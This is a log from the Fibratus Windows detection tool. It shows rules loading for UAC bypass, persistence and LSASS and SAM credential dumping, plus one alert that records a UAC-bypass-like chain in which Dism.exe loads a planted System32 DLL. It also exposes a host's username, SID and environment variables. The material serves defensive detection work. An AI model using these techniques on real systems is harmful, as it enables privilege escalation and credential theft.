C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-05T13:52:22+01:00 level=info msg=bootstrapping with pid 17864. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T13:52:22+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ port=>25 content-type=>text/html to=>[] enabled=>false use-template=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-threads=>false serialize-handles=>false serialize-images=>false] + eventsource .................... [ enable-audit-api=>true enable-handle=>false enable-thread=>true buffer-size=>512 enable-threadpool=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-dns=>false enable-mem=>false stack-enrichment=>true enable-registry=>true flush-interval=>1s enable-net=>true enable-vamap=>true max-buffers=>36 enable-fileio=>true enable-image=>true min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text max-age=>0 level=>info max-backups=>15 max-size=>100 log-stdout=>true] + output ......................... [ eventlog=>[ level=>info enabled=>false] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] amqp=>[ vhost=>/ exchange=>fibratus tls-insecure-skip-verify=>false durable=>false url=>amqp://localhost:5672 timeout=>5s delivery-mode=>transient passive=>false routing-key=>fibratus enabled=>false exchange-type=>topic] elasticsearch=>[ healthcheck=>true trace-log=>false bulk-workers=>1 sniff=>false flush-period=>1s index-name=>fibratus timeout=>5s enabled=>false servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s healthcheck-timeout=>5s template-name=>fibratus gzip-compression=>false] http=>[ serializer=>json enabled=>false timeout=>5s endpoints=>[] tls-insecure-skip-verify=>false enable-gzip=>false method=>POST]] + pe ............................. [ read-symbols=>false read-sections=>false excluded-images=>[svchost.exe] enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ skip-allocs=>false skip-files=>false excluded-procs=>[] fastscan=>true enabled=>false skip-registry=>false skip-mmaps=>false excluded-files=>[] scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]]] source=bootstrap/bootstrap.go:187 +time=2025-12-05T13:52:23+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T13:52:25+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T13:52:42+01:00 level=info msg=sending alert: [Potential privilege escalation via elevated IFileOperation COM interface]. Text: Event(s): + Seq: 5054831 + Pid: 20028 + Tid: 18108 + Type: CreateFile + CPU: 7 + Name: CreateFile + Category: file + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:52:32.5525818 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ SYNCHRONOUS_IO_NONALERT|OPEN_REPARSE_POINT, file_object➜ ffff978f72a3bb80, file_path➜ C:\Windows\System32\dismcore.dl~, irp➜ ffff978f709440f8, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 18108, type➜ File + Metadata: rule.name: Potential privilege escalation via elevated IFileOperation COM interface, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: C:\Windows\System32\dismcore + + Pid: 20028 + Ppid: 1224 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09}] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + + Seq: 5060969 + Pid: 7020 + Tid: 15692 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:52:32.8704185 +0100 CET + Params: base_address➜ 7ffcd4bf0000, checksum➜ 38076, default_address➜ 7ffcd4bf0000, file_path➜ C:\Windows\System32\dismcore.dll, image_size➜ 53248, pid➜ 7020, signature_level➜ AUTHENTICODE, signature_type➜ CATALOG_CACHED + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: C:\Windows\System32\dismcore, rule.name: Potential privilege escalation via elevated IFileOperation COM interface, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 7020 + Ppid: 12060 + Name: Dism.exe + Parent name: PkgMgr.exe + Cmdline: "C:\WINDOWS\system32\dism.exe" /online /quiet /norestart /add-package /packagepath:"C:\WINDOWS\system32\pe386" /ignorecheck + Parent cmdline: "C:\WINDOWS\system32\pkgmgr.exe" /ip /m:pe386 /quiet + Exe: C:\WINDOWS\system32\dism.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\system32\dism.exe" /online /quiet /norestart /add-package /packagepath:"C:\WINDOWS\system32\pe386" /ignorecheck] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-05T13:53:11+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T13:53:12+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T13:53:12+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T13:54:58+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:155 +time=2025-12-05T13:54:58+01:00 level=info msg=bootstrapping with pid 18832. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T13:54:58+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ use-template=>true content-type=>text/html port=>25 to=>[] enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ quiet-mode=>false sound=>true enabled=>false] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-pe=>false serialize-threads=>false serialize-envs=>true serialize-images=>false] + eventsource .................... [ max-buffers=>36 enable-mem=>false enable-audit-api=>true enable-handle=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] flush-interval=>1s enable-net=>true enable-vamap=>true min-buffers=>16 enable-threadpool=>false enable-registry=>true enable-thread=>true enable-fileio=>true stack-enrichment=>true buffer-size=>512 enable-dns=>false enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 level=>info max-backups=>15 max-age=>0 formatter=>text log-stdout=>true] + output ......................... [ elasticsearch=>[ servers=>[http://127.0.0.1:9200] sniff=>false timeout=>5s template-name=>fibratus healthcheck=>true index-name=>fibratus healthcheck-timeout=>5s enabled=>false gzip-compression=>false flush-period=>1s trace-log=>false healthcheck-interval=>10s bulk-workers=>1] amqp=>[ vhost=>/ delivery-mode=>transient exchange-type=>topic exchange=>fibratus enabled=>false durable=>false tls-insecure-skip-verify=>false url=>amqp://localhost:5672 timeout=>5s passive=>false routing-key=>fibratus] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] eventlog=>[ enabled=>false level=>info] http=>[ enable-gzip=>false timeout=>5s tls-insecure-skip-verify=>false serializer=>json enabled=>false endpoints=>[] method=>POST]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] read-sections=>false enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ excluded-files=>[] scan-timeout=>10s skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-allocs=>false excluded-procs=>[] enabled=>false skip-mmaps=>false fastscan=>true skip-registry=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-05T13:54:58+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T13:55:01+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T13:55:32+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T13:55:32+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T13:55:32+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T13:56:12+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from 